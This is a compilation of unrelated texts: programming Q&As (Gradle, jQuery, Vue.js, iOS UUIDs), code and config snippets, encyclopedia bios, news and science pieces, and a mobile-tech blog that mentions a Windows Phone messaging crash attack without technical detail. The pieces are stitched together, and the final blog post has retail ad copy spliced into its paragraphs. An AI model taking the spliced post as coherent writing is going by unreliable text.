Ant: Apache Ant™ version 1.10.7 compiled on September 1 2019
JVM: 1.8.0_151 (Oracle Corporation 25.151-b12)
OS: Linux 4.9.0-6-amd64 amd64
This is gradle file generated by Android Studio
$ cat build.gradle
buildscript {
repositories {
google()
jcenter()
}
dependencies {
classpath “com.android.tools.build:gradle:4.0.1”
}
}
allprojects {
repositories {
google()
jcenter()
}
}
task clean(type: Delete) {
delete rootProject.buildDir
}
And this is the result:
$ gradle --stacktrace
FAILURE: Build failed with an exception.
What went wrong:
Could not initialize class org.apache.http.conn.ssl.SSLConnectionSocketFactory
Try:
Run with --info or --debug option to get more log output. Run with --scan to get full insights.
Exception is:
java.lang.NoClassDefFoundError: Could not initialize class org.apache.http.conn.ssl.SSLConnectionSocketFactory
at org.gradle.internal.resource.transport.http.HttpClientConfigurer.configureSslSocketConnectionFactory(HttpClientConfigurer.java:122)
at org.gradle.internal.resource.transport.http.HttpClientConfigurer.configure(HttpClientConfigurer.java:107)
at org.gradle.internal.resource.transport.http.HttpClientHelper.getClient(HttpClientHelper.java:195)
at org.gradle.internal.resource.transport.http.HttpClientHelper.performHttpRequest(HttpClientHelper.java:141)
Could anyone help me to solve this problem? These are my first steps with gradle and I have no idea what to do. If the problem is with dependency, then why this dependency is not included in gradle. Please, help.
A:
I solved the problem by using OpenJDK instead of Oracle JDK.
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Titanium allergy is not to be taken lightly, but not too hard either
Titanium allergy is so rare that is barely recognized as such within mainstream medical practice. Indeed, it has been reported, but the conditions and symptoms were so diverse and bewildering, that it hasn’t been possible so far for practitioners to pin-point a special symptom category.
This is a common occurrence in cases where reports are inconsistent and/or incoherent and there are usually more medical problems attached to the respective patient than a mere allergy.
However, the most common occurrence of titanium allergy is definitely related to titanium body jewelry. Titanium is indeed an inert metal and is indeed virtually allergy free. This is what made it the biggest alternative for stainless steel piercings, which contain nickel. Nickel allergy is far more widespread, at about 10% of the population, than titanium allergy.
The more popular a product is, the greater the chance of finding a consumer that is allergic to it. The reports of titanium allergy coming from a recent piercing contain symptoms such as skin rashes, swelling, itchiness, skin redness and hives. In most of the cases, these are just the normal responses of the body adjusting to a foreign object. The type and gravity of these symptoms vary with the sensitivity of each individual and the location of the piercings.
If you’re worried about a possible titanium allergy case due to a recent titanium body piercing, allow a couple of days before rushing to the hospital. Assuming that you had your piercing done professionally with the hygiene conditions assured responsibly, there is no reason to fret. Chances are the problem will take care of itself.
The real symptom for a rare titanium sensitivity is the chronic fatigue syndrome. This is a medical term given to several disorders. It is commonly defined by persistent fatigue unrelated to physical or mental exertion, which doesn’t alleviate by rest and is extended for a period longer than six months.
If you experience this kind of symptom, and you have been in contact with titanium metal, in the form of a piercing or a titanium implant, then it is the case indeed that you should consult a physician.
Titanium implants, especially for bone reconstruction in the forms of titanium plates or titanium screws are very popular. There are also problems with these implants, but are rarely directly related to titanium allergies. Usually, the principal medical problems come from different stress forces applied in the titanium implant and the adjacent bone, which lead to the failure of the joint. But this is a known and well documented medical issue, and it is thoroughly checked by physicians in every case.
There is only one test that can be used to establish titanium allergy, called the MELISA® test. This is a blood in vitro test used for the diagnosis of delayed hypersensitivity to metals. The technology is called “in vitro lymphocyte transformation” and has been utilized for some years to assist in the diagnosis of delayed type sensitivity to metals.
In the professional literature, the studies seem to validate the accuracy of this type of test, but more in determining exposure to metals, including titanium, and not necessarily in determining a delayed hypersensitivity that produces allergy.
There is also an intense ongoing debate about the interaction of titanium dioxide in the form of nano sized particles with the human body, as the nanotechnology is developing. Titanium dioxide nanoparticles are often used in products that have the potential of presenting allergy risks to human, such as titanium sunscreen, food stuff and paint. Although there were some scientific studies regarding the potential damage to living tissue caused by titanium dioxide nano particles, no final decision has been established yet. |
Wed 29 Jul 2020
Why some of us are unable to digest dairy and the intricate process of creating a baby |
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Among one of the first exoplanet systems imaged was HR 8799. In 2008, a team led by Christian Marois at the Herzberg Institute of Astrophysics in Canada, took a picture of the system directly imaging three giant planets. The team revisited the system in 2009 – 2010 with the Keck II telescope and discovered a fourth planet in the system.
The new planet, designated HR 8799e, orbits at a distance of 14.5 AU, making it the innermost planet in the system. The other planets all orbit at distances of >25 AU. The images were taken in the near infrared where they are most noticeable because the system is relatively young (<100 Myr) and the planets are still radiating large amounts of heat from their formation.
The youth of these planets is part of what makes them an interesting target for astronomers. There exists a controversy in the community of planetary astronomers on the formation method of large planets. One theory states that planets form from a single, monolithic collapse that creates the entire planet’s mass at one time. Another possibility is that the initial collapse forms small cores early on, but then there is substantial growth later, as the planetesimal sweeps up additional material.
The discovery of the new planet challenges both theories. Marois states, “none of [the theories] can explain the in situ formation of all four planets.” Thus, a combination of both methods may be in use in the system. Several belts of dust are also known in the system which may help astronomers determine what modes of formation were present.
In particular HR 8799e is challenging to an in situ formation because the gravitational perturbations from the parent star should disrupt the formation of large gas planets within 20-40 AU from a single formation. Instead, the new planet would likely have had to been a core collapse with subsequent accretion, or alternatively, moved to its present location via migration.
Studying systems such as this may help astronomers better understand the formation of our own solar system. The paper notes that the HR 8799 “does show interesting similarities with the Solar system with all
giant planets located past the system’s estimated snow line (~2.7 AU for the Solar system and ~6 AU for HR 8799)”. Additionally, both have debris disks beyond the outer orbits with similar temperatures.
Different methods of detecting planetary formation necessarily turn up different types of systems. Radial velocity studies detect massive, close-in planets whereas direct imaging most easily finds more distant planets. These two apparent populations represent different modes of planetary formation and for a full understanding, astronomers will need a continuous sampling that merges the two. Marois notes that we are still far from this goal as “[w]e just do not have enough exoplanets detected by direct imaging (~6 so far)” to make any conclusions besides constraints from the non-detections occurring thus far. To truly merge these two populations, astronomers will likely need to wait until more systems are discovered.
Previously, some work has been done to estimate the composition of the atmospheres of the three planets already discovered in the system. These systems have been suggested to have cloudy atmospheres for CH 4 and CO. According to Marois, his team is, “planning more observations on e, but it will be hard. We might have to wait for new instruments, like the Gemini Planet Imager to do it properly.” This new instrument “will put a ‘thumb’ on the star (or what we call a coronagraph) to physically block the star light and allow ‘easy’ detection of nearby faint planets.”
While this discovery is a first, it will certainly be one of a long line of exoplanet images. Marois is obviously excited about the ability to directly image planets. I asked him what the single most important thing he wanted readers to get from this research. His response was simple, “That we now have the telescopes and instruments to SEE planets orbiting other stars – that’s really cool! The exoplanet field is still very young and we have so much to learn.” |
Q:
Show value in textbox before selected from dropdown list
JavaScript:
$(function(){
$('#userID').change(function(){
$('#username').val($('#userID option:selected').data('username'));
});
});
HTML:
<select class="form-control" name="nip" id="userID">
<option value='1' data-username='user_id'>1</option>
<option value='2' data-username='user_id'>2</option>
<option value='3' data-username='user_id'>3</option>
</select>
<input type="text" name="name" id="username">
This code works to get selected value from dropdown list into textbox if I selected data first.
My question is, how to show data in textbox before I selected data from dropdown list?
Thanks.
A:
No mouse or keyboard events fire for option elements.
See the msdn documentation for the events available in options:
http://msdn.microsoft.com/en-us/library/ms535877(VS.85).aspx
In this link you can see another approach to your problem:
Html Select box options on Hover?
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mode_reg =
name: 'erb'
extensions: { 'erb', 'rhtml' }
create: -> bundle_load('erb_mode')
howl.mode.register mode_reg
unload = -> howl.mode.unregister 'erb'
return {
info:
author: 'Copyright 2014-2015 The Howl Developers',
description: 'erb support',
license: 'MIT',
:unload
}
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Michel is published and quoted in outlets such as The New York Times, Wall Street Journal, Politico, US News and World Report, and The Federalist. Prior to joining Heritage he was a Program Manager for the Spending and Budget Initiative at the Mercatus Center at George Mason University, where he worked on a broad range of topics relating to federal fiscal policy. He has also worked as a Research Associate at the Competitive Enterprise Institute.
Michel received his MA in economics from George Mason University in Fairfax, VA and also holds a BA in politics from Whitman College in Walla Walla, WA. He is an alumnus of the Mercatus MA Fellowship program and is currently pursuing his PhD in economics at George Mason University.
Originally from California, Michel enjoys rock climbing, skiing, and cooking in his spare time. |
<moya xmlns="http://moyaproject.com">
<content docname="testcontent" template="test.html">
<title>Welcoming ${name}</title>
<str dst="name">${name}</str>
<section name="body">
<text>Welcome, ${name}! This is a test of Moya content renderable</text>
</section>
<text name="footer">(c) 2012 Will McGugan</text>
</content>
<macro docname="main">
<render content="testcontent" dst="page">
<str dst="name">Will</str>
</render>
<echo obj="page"/>
</macro>
</moya> |
Q:
Vue Js How to calculate the value on the table and display the sum on the footer
I wanted to create simple invoice using bootstrap table and Vue Js.
Basically, What i wanted is shown in the image below:
I have tried as in the code below, but i am confused on two things,
How should i
1) Calculate the total cost and show that as the footer summary.
2) Multiply rate and qnty and display on the corresponding input box on cost.
new Vue({
el: '#app',
methods: {
addService() {
this.model.services.push({});
}
},
data: {
model: {
services: []
},
fields: [{
key: "rate",
label: "Rate"
},
{
key: "qnty",
label: "Qnty"
},
{
key: "cost",
label: "Cost"
}
]
}
})
<link type="text/css" rel="stylesheet" href="//unpkg.com/bootstrap/dist/css/bootstrap.min.css" />
<link type="text/css" rel="stylesheet" href="//unpkg.com/bootstrap-vue@latest/dist/bootstrap-vue.css" />
<script src="https://unpkg.com/vue"></script>
<script src="//unpkg.com/babel-polyfill@latest/dist/polyfill.min.js"></script>
<script src="//unpkg.com/bootstrap-vue@latest/dist/bootstrap-vue.js"></script>
<div id="app">
<b-card header-tag="header" footer-tag="footer">
<template slot="header" class="mb-0">
<button type="button" class="btn btn-primary btn-sm" @click.prevent="addService">
<icons :icon="['fas', 'plus']" /> Add Items/Service</button>
</template>
<b-card-body>
<b-table responsive bordered striped hover caption-top :fields="fields" :items="model.services" foot-clone>
<template slot="rate" slot-scope="data">
<b-form-input size="sm" class="form-control" v-model="data.item.rate" :name="`rate_${data.index}`" type="text" />
</template>
<template slot="qnty" slot-scope="data">
<b-form-input size="sm" class="form-control" v-model="data.item.qnty" :name="`qnty_${data.index}`" type="text" />
</template>
<template slot="cost" slot-scope="data">
<b-form-input size="sm" class="form-control" v-model="data.item.cost" :name="`cost_${data.index}`" type="text" />
</template>
</b-table>
</b-card-body>
</b-card>
</div>
The way i wanted is easily achieved by using normal td and tr, with computed function.
But i am confused with how to implement using Bootstrap-vue.
Please help!
A:
Here's a quick way, that calculates the item cost in place
<b-form-input :value="(data.item.rate * data.item.qnty) || 0" type="text" />
Improvements can be made here to update the item total in the item, by using a watch t update the data.
the total, however is done using a computed value that uses reduce to find the total
computed: {
total: function() {
return this.model.services.reduce(function(a, c){return a + Number((c.rate*c.qnty) || 0)}, 0)
}
},
here is the complete code:
Vue.config.productionTip = false
Vue.component('icons', {
template: '<a><slot></slot></a>'
})
new Vue({
el: '#app',
methods: {
addService() {
this.model.services.push({});
}
},
computed: {
total: function() {
return this.model.services.reduce(function(a, c){return a + Number((c.rate*c.qnty) || 0)}, 0)
}
},
data: {
model: {
services: []
},
fields: [{
key: "rate",
label: "Rate"
},
{
key: "qnty",
label: "Qnty"
},
{
key: "cost",
label: "Cost"
}
]
}
})
<link type="text/css" rel="stylesheet" href="//unpkg.com/bootstrap/dist/css/bootstrap.min.css" />
<link type="text/css" rel="stylesheet" href="//unpkg.com/bootstrap-vue@latest/dist/bootstrap-vue.css" />
<script src="https://unpkg.com/vue"></script>
<script src="//unpkg.com/babel-polyfill@latest/dist/polyfill.min.js"></script>
<script src="//unpkg.com/bootstrap-vue@latest/dist/bootstrap-vue.js"></script>
<div id="app">
<b-card header-tag="header" footer-tag="footer">
<template slot="header" class="mb-0">
<button type="button" class="btn btn-primary btn-sm" @click.prevent="addService">
<icons :icon="['fas', 'plus']" /> Add Items/Service</button>
</template>
<b-card-body>
<b-table responsive bordered striped hover caption-top :fields="fields" :items="model.services" foot-clone>
<template slot="rate" slot-scope="data">
<b-form-input size="sm" class="form-control" v-model="data.item.rate" :name="`rate_${data.index}`" type="text" />
</template>
<template slot="qnty" slot-scope="data">
<b-form-input size="sm" class="form-control" v-model="data.item.qnty" :name="`qnty_${data.index}`" type="text" />
</template>
<template slot="cost" slot-scope="data">
<b-form-input size="sm" class="form-control" :value="(data.item.rate * data.item.qnty) || 0" :name="`cost_${data.index}`" type="text" />
</template>
<template slot="bottom-row" slot-scope="data">
<td/><td>Total</td>
<td>{{total}}</td>
</template>
</b-table>
</b-card-body>
</b-card>
</div>
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Q:
Does two device will have the same 'UUID'
In my iOS app, I have to restrict the user to use iOS app per device. To do this I found a solution that we can use the identifierForVendor method of UUID (Universally Unique Identifier) which will generate a unique ID to uniquely identify an app on a device. (Here, I am not using UDID (Unique Device Identifier) because Apple rejects apps if the app uses UDID).
So my question as is there any possibilities that the two devices will have the same UUID. any idea?
EDIT 1:
I have one more doubt as if I installed the same app on different two devices and save its UUID string into the device KeyChain. Both devices have same iCloud account. Now while doing iCloud sync for this two devices, is one my device KeyChain will gets overwritten?
EDIT 2:
I have found answer for EDIT 1 as 'Yes, through iCloud Keychain, the keychain would be synced to another one of my devices, and I’d get the same device identifier from here and from below answer too'
For the item to be synced with iCloud keychain, I’d need to explicitly set the kSecAttrSynchronizable attribute. Using the SecItem API, we can set this attribute while adding a keychain item.
Is there any tutorial how to add item in Keychain (Without third party libraries)?
A:
No, Two device does not have the same UUID. I am 100% Sure about it. So go with identifierForVendor method.
But, The UUID may be changed when you reinstall the the application in your device (If there is not other application for the same vendor).
The value in this property remains the same while the app (or another app from the same vendor) is installed on the iOS device. The value changes when the user deletes all of that vendor’s apps from the device and subsequently reinstalls one or more of them. The value can also change when installing test builds using Xcode or when installing an app on a device using ad-hoc distribution. Therefore, if your app stores the value of this property anywhere, you should gracefully handle situations where the identifier changes.
EDIT
YOUR QUESTION
I have one more doubt as if I installed the same app on different two devices and save its UUID string into the device KeyChain. Both devices have same iCloud account. Now while doing iCloud sync for this two devices, is one my device KeyChain will gets overwritten?
ANSWER
YES. Your keychain will gets overwritten. So you have same UUID for both 2 devices.
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Rico Oller
Thomas "Rico" Oller (born July 16, 1958) is a Republican U.S. politician from California. He served in the California State Assembly, representing the 4th District from 1996 to 2000, and the California State Senate, representing the 1st district from 2000 to 2004. In 2004, Oller ran for Congress in California's 3rd congressional district, but narrowly lost the Republican primary to former California Attorney General Dan Lungren. On January 10, 2008, Oller again ran for Congress, this time in California's 4th congressional district, for a seat being vacated by retiring Congressman John Doolittle. He faced opposition from former Congressman Doug Ose. On March 4, 2008, Oller dropped out of the race when California State Senator Tom McClintock (R-Thousand Oaks) announced that he was running for Doolittle's seat. In a statement, Oller said his decision was "a bitter pill indeed for me to swallow." But, he said he was endorsing McClintock to prevent the election of Ose, whom he labeled as "an unarguably liberal Republican." Oller ran for the newly former 5th Assembly District in 2012 facing Madera County Supervisor Frank Bigelow in the November general election. Oller lost to Bigelow by 5.7%.
Legislative record
Oller fought against the expansion of Smog Check II and authored legislation to abolish the program. He opposed the use of MTBE (methyl tertiary-butyl ether) in fuel. He also passed legislation to protect the endangered Sierra Nevada bighorn sheep. He convened an oversight hearing into the spread of noxious weeds across California and carried legislation to promote the reactivation of the Auburn Dam.
Oller was named Legislator of the Year by California Small Business Association and American Electronics Association. He also received an award from Women's Safety Alliance for dedication to safety and the 2000 Defender of Freedom award from the National Rifle Association.
Campaigning
Oller has won the endorsement of Republican organizations such as the Howard Jarvis Taxpayers Association, the California Taxpayer Protection Committee, the Club for Growth, the California Republican Assembly, the Placer County Republican Central Committee, and Concerned Women for America.
Personal history
Born in Fresno, California, Oller graduated from California State University, Stanislaus in 1980. In 1981, Oller started his building materials business. He is currently Owner and Chairman of Board of Material Ventures, Inc, the distribution company he founded.
External links
Rico Oller's campaign site
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Alfred V. Covello
Alfred Vincent Covello (born February 4, 1933) is a Senior United States District Judge of the United States District Court for the District of Connecticut.
Education and career
Covello was born in Hartford, Connecticut. He received an Artium Baccalaureus degree from Harvard University in 1954, and then a Bachelor of Laws and a Juris Doctor from the University of Connecticut School of Law in 1960. He was in the United States Army Personnel Specialist from 1955 to 1959. He was in private practice of law in Hartford from 1960 to 1974. Covello became a member of the Charter Revision Commission in West Hartford in 1964. He was counsel to this same commission in 1966 and from 1969 to 1970. He was also counsel to the Office of Corporation Counsel in West Hartford from 1964 to 1967.
State judicial service
Covello served as judge in a number of courts beginning in the 1970s. He was a judge on the Circuit Court for the State of Connecticut from 1974 to 1975, then to Connecticut's Court of Common Pleas from 1975 to 1978. He was a judge on the Superior Court of Connecticut from 1978 to 1992, and a judge on the Appellate Session of the Superior Court from 1980 to 1983. He was a Justice of the Supreme Court of Connecticut from 1987 to 1992, and an administrative judge on the Appellate System in 1992.
Federal judicial service
Covello was nominated to the United States District Court for the District of Connecticut by President George H. W. Bush on April 1, 1992, to a new seat created by 104 Stat. 5089. He was confirmed by the United States Senate on August 12, 1992, and received commission on August 17, 1992. He became Chief Judge in 1998, serving that status until he assumed senior status on February 4, 2003.
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ISTANBUL (Reuters) - In the Beyoglu Anadolu religious school in Istanbul, gilded Korans line the shelves and on a table lies a Turkish translation of “Eclipse,” a vampire-based fantasy romance by U.S. novelist Stephanie Meyer.
Turkish girls attend a class at the Kazim Karabekir Girls' Imam-Hatip School in Istanbul February 10, 2010. REUTERS/Murad Sezer
No-one inside the school would have you believe this combination of Islamic and western influences demonstrates potential to serve as a ‘moderate’ educational antidote to radical Islam.
But there is fresh outside interest in schools like this, which belong to the network known as imam-hatip.
Some people, particularly officials from Afghanistan and Pakistan, have suggested the Turkish system can light the way to a less extremist religious education for their young Muslims.
The interest is understandable. The imam-hatip network is a far cry from the western stereotype of the madrassa as an institution that teaches the Koran by rote and little else.
Originally founded to educate Muslim religious functionaries in the 1920s, the imam-hatip syllabus devotes only around 40 percent of study to religious subjects like Arabic, Islamic jurisprudence and rhetoric. The rest is given over to secular topics.
The network has incubated the elite of the Islamist-rooted AK party which came to power in Turkey in 2002. Prime Minister Recep Tayyip Erdogan -- who went on to study economics -- and around one third of his party’s MPs attended imam-hatip schools.
For Turks, however, it’s ironic that a system which for over a decade has been suppressed by the military enforcers of secularism could be seen to champion any institutional accommodation between the Islamic and the secular.
A revised system of university credits introduced in the late 1990s puts imam-hatip students seeking to study non-religious subjects at university at a disadvantage.
“It’s very interesting that these schools that are so controversial in our own country have become role models elsewhere,” said Iren Ozgur, a Turkish-American academic at New York University who has studied the imam-hatip system.
In his office close to the Golden Horn inlet of the Bosphorus, former imam-hatip pupil Huseyin Korkut believes the schools could work abroad if they remain true to “Islamic values.” But he bristles at the idea of the network being pigeonholed into helping solve international security problems.
“We are disturbed by this understanding that these schools would educate ‘soft’ Muslims that could easily adapt to the needs and requirements of the international authorities,” said the moustachioed economist. Calling himself a typical graduate of the system, Korkut works at Kirklareli University and is general director of the imam-hatip alumnae association.
Current students like Kerem Fazil Cinar, an 18-year-old final year pupil at Beyoglu Anadolu imam-hatip School, see the system as a refuge from the perils of the outside world.
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“In the regular school would be the danger of meeting dangerous friends who have not inherited religious values,” said the earnest, bespectacled teenager, the beginnings of a beard sprouting from his chin.
“The environment would be more degenerate.”
SECULAR FOCUS
Named after the preachers and prayer-leaders it was set up to train, the imam-hatip system has earned less media attention in the west than the moderate international network set up by exiled Islamic scholar Fethullah Gulen. There are many Gulen schools in Central Asia, and other outposts in the Balkans and Western Europe.
Last month, Afghanistan’s Education Minister Farooq Wardak visited an imam-hatip school in Ankara and declared the system could be a model for moderate religious education in his country. Pakistan’s ambassador to Turkey has said the imam-hatip system was discussed in recent high-level talks. And Wardak’s visit followed a Russian delegation, including the deputy minister of education, which came to see the schools last year.
“An education system should not just be an education, it should be a tool to fight extremism,” Wardak said, adding that he was impressed by the way the imam-hatip school combined religious instruction with other subjects.
“We need to make sure that graduates of religious schools ... also have skills and vocation, and they get a knowledge to be part of the mainstream of society.”
Overseas interest in the schools may also have been partly kindled by Turkey’s changing foreign policy priorities, as Ankara seeks to play a greater role among Muslim states -- including Syria and Iran -- and cools on long-term ally Israel.
Turkey’s largest ever foreign aid effort is now directed to Afghanistan, and last year it agreed to establish a high-level co-operation council with Pakistan. Russia is Turkey’s main trading partner.
In imam-hatip institutions, as in every school in the country, images of Mustafa Kemal Ataturk -- the founder of the Turkish Republic -- are on display. Students can tackle Arabic passages describing the Prophet Mohammad’s journey to Medina in classrooms also displaying Ataturk’s address to Turkish youth.
“There has always been a tension between orthodoxy and heterodoxy within the framework of Turkish Islam,” said Professor M. Hakan Yavuz, of the University of Utah’s Middle East Center.
“As a result Turkish Islam has these sites outside the control of orthodox Islam, and remains more pluralist, more tolerant.”
SENSITIVE
But by singling out imam-hatip schools, Afghanistan’s minister may unwittingly have been treading on deep Turkish sensitivities.
The network -- which with high standards and low costs proved popular with conservative Turkish families in the past -- was targeted after senior generals pushed out Turkey’s first Islamist-led government in 1997.
Whereas in the second half of the 1990s about 600 imam-hatip schools across the country educated half a million pupils, after what was known as the “post-modern coup,” imam-hatip middle schools for pupils aged 11-14 were abolished.
Even more damaging were the changes to the university admission system, which calculates the relevance of subjects studied at school to a student’s proposed university course. Modifications after 1997 meant that -- unless they chose to study religion -- imam-hatip students found their grades devalued against those of applicants from conventional schools.
Waning prospects for higher education diminished the appeal of imam-hatip schools. Today around 450 educate 120,000 pupils. The AKP has worked toward their rehabilitation, but it has not succeeded yet in changing university entrance requirements.
ANGER
It is in this context that students like Cinar experience the system. Gathered in a mosque in the heart of the old city with two fellow students -- including Nur Sumeyye Karaoglan, a quiet girl in a patterned headscarf -- the young man’s comments reflect an anger with Turkey’s secular establishment that makes nonsense of such distinctions as “radical” and moderate.”
“Surely religion should have a public role,” he said -- a view that flies in the face of Turkey’s 87 years of secularism. “Not only in Turkey, but throughout the world.”
Sitting among glass-walled cloisters, he warmed to the theme of Turkey’s suppression of the imam-hatip network, and by extension of its alumni, saying his country needed men like him to stand up for religion and traditional values.
“We want Turkish society to feel that it is right to fear us,” he said.
Over their tea, his fellow pupils murmured in approval.
“I am very proud to be an imam-hatip student,” said Karaoglan, 16, the only girl in the group. “I feel it is in line with human nature.” |
Daytona Bits and Pieces (revised)
Daytona Bits and Pieces
By: Bill King
Hoosiers Giving Up?
- Durability concerns about the 2005 Grand American
Rolex Series spec tire arose during the three-day pre-season test session
that ended Sunday at Daytona International Speedway.
A ...
Daytona Bits and Pieces
By: Bill King
Hoosiers Giving Up?
- Durability concerns about the 2005 Grand American
Rolex Series spec tire arose during the three-day pre-season test session
that ended Sunday at Daytona International Speedway.
A number of Daytona Prototype and GT category teams noted that the tires
from Hoosier Racing Tire Corp. to be used for the Rolex 24 in four weeks
were not consistent through an entire fuel run. The problem was described
as a sudden and dramatic drop in traction resulting in as much as three
seconds a lap around the 3.54-mile oval/infield layout.
Changing tires at every pit stop will require an increase in the 30-set
allotment currently in force for the 24 and a corresponding bump in the
weekend's tire bill. Due to the short lead-time, there is no plan to test
and manufacture a new tire for the February round-the-clock run. Grand-Am
director of competition Mark Raffauf suggested that drivers with Touring
Car experience would fare better, being used to taking better care of their
tires. Given the rapid pace of 24-hour races, team tire strategies are
likely to play a major roll at Daytona next month.
Is Emmo Coming Back?
- One of the drivers being considered for the fifth
seat in the 2004 Rolex 24 winning Doran-Pontiac of Kodak-Bell Motorsports
is Emerson Fittipaldi. Car-owner Forest Barber looked at both Fittipaldi
and Ralf Kelleners to partner with him, Terry Borcheller, Paul Tracy Emmo's
nephew Christian Fittipaldi.
"It felt good," said Fittipaldi. "The car has good power and good handling,
but I need to get back in the regimen of driving." Both Fittipaldi - who
drove only 11 laps - and Kelleners* were well off the pace.
Grand-Am to Run with Champ Car?
- In an odd bit of maneuvering, the Grand
American Rolex Series, scheduled to appear at Autodromo Hermanos Rodriguez
in Mexico City Dec. 4, may run instead with the Champ Cars Nov. 6. Given
the obvious politico-racing implications, is anyone other than the
organizers interested in this fraught match-up? Grand-Am is looking at two
other November dates and an earlier one in October to keep the 2005 season
from running into December.
Editor's note:* Regarding the statement on Ralf Kelleners being off the pace. The
comment was inaccurate as the team has informed Motorsport.com that
Kelleners' times were on a competitive level with the times turned by Terry Borcheller.
Throughout the three testing days, Kelleners was one of the quickest drivers
in the Forest Barber owned Bell Motorsports Daytona Prototype. |
Refraction limit of miniaturized optical systems: a ball-lens example.
We study experimentally and theoretically the electromagnetic field in amplitude and phase behind ball-lenses across a wide range of diameters, ranging from a millimeter scale down to a micrometer. Based on the observation, we study the transition between the refraction and diffraction regime. The former regime is dominated by observables for which it is sufficient to use a ray-optical picture for an explanation, e.g., a cusp catastrophe and caustics. A wave-optical picture, i.e. Mie theory, is required to explain the features, e.g., photonic nanojets, in the latter regime. The vanishing of the cusp catastrophe and the emergence of the photonic nanojet is here understood as the refraction limit. Three different criteria are used to identify the limit: focal length, spot size, and amount of cross-polarization generated in the scattering process. We identify at a wavelength of 642 nm and while considering ordinary glass as the ball-lens material, a diameter of approximately 10 µm as the refraction limit. With our study, we shed new light on the means necessary to describe micro-optical system. This is useful when designing optical devices for imaging or illumination. |
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using GSF.IO.Unmanaged;
using GSF.IO.Unmanaged.Test;
using NUnit.Framework;
namespace GSF.IO.FileStructure.Media.Test
{
[TestFixture]
internal class MemoryFileBenchmark
{
[Test]
public void Test1()
{
MemoryPoolTest.TestMemoryLeak();
MemoryPoolFile file = new MemoryPoolFile(Globals.MemoryPool);
BinaryStreamIoSessionBase session = file.CreateIoSession();
BlockArguments blockArguments = new BlockArguments();
blockArguments.IsWriting = true;
blockArguments.Position = 10000000;
session.GetBlock(blockArguments);
System.Console.WriteLine("Get Block\t" + StepTimer.Time(10, () =>
{
blockArguments.Position = 100000;
session.GetBlock(blockArguments);
blockArguments.Position = 200000;
session.GetBlock(blockArguments);
blockArguments.Position = 300000;
session.GetBlock(blockArguments);
blockArguments.Position = 400000;
session.GetBlock(blockArguments);
blockArguments.Position = 500000;
session.GetBlock(blockArguments);
blockArguments.Position = 600000;
session.GetBlock(blockArguments);
blockArguments.Position = 700000;
session.GetBlock(blockArguments);
blockArguments.Position = 800000;
session.GetBlock(blockArguments);
blockArguments.Position = 900000;
session.GetBlock(blockArguments);
blockArguments.Position = 1000000;
session.GetBlock(blockArguments);
}));
file.Dispose();
MemoryPoolTest.TestMemoryLeak();
}
}
} |
MODULE_TOPDIR = ../..
PGM = i.gensig
LIBES = $(IMAGERYLIB) $(RASTERLIB) $(GISLIB) $(MATHLIB)
DEPENDENCIES = $(IMAGERYDEP) $(RASTERDEP) $(GISDEP)
include $(MODULE_TOPDIR)/include/Make/Module.make
default: cmd
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Creutzfeldt-Jakob disease in a physician: a review of the disorder in health care workers.
We describe a 58-year-old physician who developed Creutzfeldt-Jakob disease (CJD) 30 years after formal training in pathology. To the best of our knowledge, he is the sixth physician and the 24th health care worker reported with CJD. We summarize the available data on these health care workers. |
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A classic attribute of technology is that it continuously evolving at light speed into more powerful applications and features. In stride to technological advances, consumer’s behavior has consistently kept text messaging a repeatable revenue source and a sustainable ROI for service providers and carriers across the world. Alas, the halcyon days of text messaging may quickly be coming to a close if recent reports are any indication of trends. Experience the convenience of online shopping for unlocked cell phones and mobile device accessories. Discover wide selection of top quality, innovative protective bags, sleeves and cases as well as premium electronic accessories from the industry's most leading brands. An accessory solution for every lifestyle... this is personal. This is you. This is shopping simplified.
A recent column in Forbes outlines that text messaging rates are declining in many countries around the world. The report metrics were based on the text messages sent this past Christmas Eve as it is one of the highest messaging days of the year. As Tero Kuittinen, the author of the article and a senior analyst for MGI Research wrote of the Finnish wireless carrier: Sonera - 'As the major carrier of the Scandinavian country, it is a great marker for that country’s trends. Christmas Eve of 2010, 10.9 million messages had been exchanged. The same day a year later saw a drop to 8.5 million. This kind of decline was also seen in Hong Kong and other highly populated metropolises... with the fall off may being as high as 14%. Get powered up for work, life and play easily and conveniently with the latest collection of desktop chargers, wall chargers and car chargers. Get all the power and energy you need for the mobile lifestyle.
These numbers may seem contradictory considering how consumers leverage cell phones foor both communications and as a pocket PC. Do we talk more? Nope. Traditional texting is down? Yup. Are we using our phones as a multi media tool? You betcha. So where does this equation balance? The word “traditional.” Organic Facebook and Twitter support on Apple and Google smartphones is changing how we communicate. Add in email and free messaging apps (MMS versus SMS) and there is a recipe that doesn’t bode well for carriers and cuts the bonds of contracts and messaging packages that have lined their pockets for approximately 15 years. Discover the widest online selection of Bluetooth Headsets and BlueTooth Car Kits. Latest technology from top brand manufacturers. Hands free functionality is designed for the interactive 'on the go' lifestyle and allows safe driving
When considering the increasing popularity of unlocked phones and the growing power of mobile consumers, this news should be closely considered by US carriers like AT&T and Verizon. Kuittinen noted in the Forbes article that for these major American carriers the next few years could see their earnings growth markedly decline. No surprise when “as much as 20% of carrier earnings are derived from text messaging.” These players will seriously have to reconsider their strategy and plans to capture the business from unlocked phone users and the continuing evolution of messaging.
Have you ever wondered what kind of advances could be made in the world if hackers and malicious code writers put their brains to something not quite so… well, malicious?
Alas, that is a an unlikely scenario considering hackers consider breaking into an OS and accessing it at the root level as something of an art form and a sport. Like IT Tai Chi. Accessories are designed to protect, personalize and enhance your mobile devices. Discover innovative protective solutions and premium electronic accessories from the industry's most leading brands
The victim of the most recent OS hack? Microsoft’s Windows Phone. It looks like the attack is carried out through an SMS or a chat message from either Facebook or Windows Live Messenger and is used to disable the phone’s Messaging hub. Get powered up for work, life and play easily and conveniently with their collection of desktop chargers, wall chargers and car chargers. Get all the power and energy you need for the mobile lifestyle.
Some affected users will be notified of the infiltration by the Live tile pinned to the homescreen from the contact you received the message from. Then the phone will freeze. These victims have an easier fix – restart the device and remove the tile prior to it completely loading. A hard reset is still required, but allows a quick backup of photos etc. To prevent a possible infection of your Windows OS at the PC level, use of removable memory is a good precaution. Discover the widest online selection of Bluetooth Headsets and BlueTooth Car Kits. Latest technology from top brand manufacturers. Hands free functionality is designed for the interactive 'on the go' lifestyle and allows safe driving.
Unfortunately, in other cases, post attack, the Messaging hub cannot start and will require a hard reset on the device. As with any device consumers, need to consider removable memory cards as a seriously good idea in the event the handset and OS are compromised.
To rule out device specific flaws, Windows Phone 7.5 (for both build 7720 and 7740) were tested. Those results point to an issue at the OS level and not with the devices.
